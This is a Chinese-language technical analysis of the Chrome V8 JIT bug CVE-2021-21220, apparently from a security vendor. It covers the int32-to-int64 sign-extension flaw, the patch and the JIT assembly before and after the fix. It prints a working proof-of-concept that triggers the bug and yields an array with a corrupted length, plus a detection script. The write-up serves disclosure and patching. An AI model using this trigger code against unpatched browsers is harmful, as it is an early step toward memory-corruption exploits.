详细分析 Chrome V8 JIT 漏洞 CVE-2021-21220

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前言

CVE-2021-21220 是4月13号在 github 上公开的一个半 0day v8 引擎 JIT 模块漏洞。由于当时最新stable版本 (89.0.4389.114) 和 beta 版本 (90.0.4430.70) 的 Chrome 均未集成修复后的 V8 版本，所以该漏洞可以影响最新版本的 Chrome，当然，也影响基于 V8 的其它广泛使用的浏览器。

目前最新版本的 Chrome 已修复该漏洞，建议大家尽快更新 Chrome 浏览器。

漏洞分析

拿到PoC之后，首先进行简单的分析和精简，方便之后的调试分析。

var _arr = new Uint32Array([2**31]);
function foo(a) {
    var x = 1;
  x = (_arr[0] ^ 0) + 1;
  x = Math.abs(x);
  x -= 2147483647;
  x = Math.max(x, 0);
  x -= 1;
  if(x==-1) x = 0;
  var arr = new Array(x);
  arr.shift();
  var cor = [1.1, 1.2, 1.3];
  return [arr, cor];
}

for(var i=0;i<0x3000;++i)
    foo(true);

var x = foo(false);
var arr = x[0];
var cor = x[1];

对 jit 比较熟悉的同学，很容易就可以发现 foo 函数是被优化的函数。foo 函数的主要功能是：1、对变量 x 进行多种基本操作；2、涉及数组的相关操作。仔细看一下数组这部分，它主要依赖于变量 x 的值。 

var _arr = new Uint32Array([2**31]);//2**31
function foo(a) {
    var x = 1;
  x = (_arr[0] ^ 0) + 1;// (2**31)^0+1
  x = Math.abs(x);
  x -= 2147483647;//2**31-1=2147483647
  x = Math.max(x, 0);
  x -= 1;
  if(x==-1) x = 0;
    return x
}
print(foo(false));
for(var i=0;i<0x3000;++i)
    foo(true);
var x = foo(false);
print(x)

去掉 array 数组那部分的精简，运行poc，结合输出的结果，说明我们的推断是正确的。

d8 poc.js 
0
1

进一步分析发现，变量 x 的值和 2**31(2147483648) 有很大关系。有符号的int32 整数范围 [-2147483648~2147483647]，在这个地方进行加减操作，在64位平台下很容易发生 int32 和 int64 之间的相互转换。事实上我们发现 v8 团队提交的一个 commit 修复链接 [compiler][x64] Fix bug in InstructionSelector::ChangeInt32ToInt64，恰好是这个 bug 的 patch。这个commit中包含了对应的回归测试用例。为了调试方便，我们使用该测试用例。

const arr = new Uint32Array([2**31]);
function foo() {
  return (arr[0] ^ 0) + 1;
}
%PrepareFunctionForOptimization(foo);
print(foo());
%OptimizeFunctionOnNextCall(foo);
print(foo());

执行

d8 poc.js --allow-natives-syntax
-2147483647  //runtime
2147483649   //jit

arr[0]= 2**31(2147483648)；arr[0] ^ 0 = -2147483648在32位有符号的情况下为0x8000 0000，而 arr[0] 在32位无符号的情况下也为 0x8000 0000，之后执行加1：在 runtime 阶段，-2147483648+1=0xFFFF FFFF 8000 0001 = -2147483647没有问题；而 jit 阶段，错误地将32位无符号0x8000 0000,扩展为64位0x0000 0000 8000 0000，然后加1得到0x0000 0000 8000 0001 = 2147483649。

结合对应的 patch 代码和注释，ChangeInt32ToInt64的输入是一个有符号的32位整数，所以任何时候都应该做符号扩展。

最后我们来看一下 jit 生成的代码，这里通过 | mov ecx,dword ptr [rcx]|，错误地丢失了符号。而在 fix 之后的 jit 代码中通过 | movsxd rcx,dword ptr [rcx]| 正确地带符号扩展 rcx。

JIT代码：

0000009B000C4165  mov         ecx,dword ptr [rcx] 
//RCX = 0000000080000000
0000009B000C4167  mov         r10,qword ptr [9B000C4146h]  
0000009B000C416E  cmp         r10,rcx  
0000009B000C4171  ja          0000009B000C4182  
0000009B000C4173  xor         edx,edx  
0000009B000C4175  mov         dl,2  
0000009B000C4177  mov         r10,qword ptr [9B000C4052h]  
0000009B000C417E  call        r10  
0000009B000C4181  int         3  
0000009B000C4182  add         rcx,1  
//RCX = 0000000080000001
0000009B000C4186  mov         edi,ecx

修复 JIT代码：

000001B0000C4165  movsxd      rcx,dword ptr [rcx]  
// RCX = FFFFFFFF80000000
000001B0000C4168  add         rcx,1  
// RCX = FFFFFFFF80000001

验证脚本

var _arr = new Uint32Array([2**31]);
function foo(a) { var x = 1; x = (_arr[0] ^ 0) + 1; x = Math.abs(x); x -= 2147483647; x = Math.max(x, 0); x -= 1; if(x==-1) x = 0; var arr = new Array(x); return arr}
for(var i=0;i<0x3000;++i) foo(true);
var x = foo(false);if(x.length){ alert("vuln is exist")}


参考

• https://github.com/r4j0x00/exploits/tree/master/chrome-0day

• https://chromium-review.googlesource.com/c/v8/v8/+/2820971

就在今天，奇安信代码安全实验室帮助微软修复严重的远程内核级漏洞，获官方致谢。详请请见本日次条推送。

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奇安信开源卫士20210414.659版本已支持对该漏洞的检测。

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题图：Pixabay License

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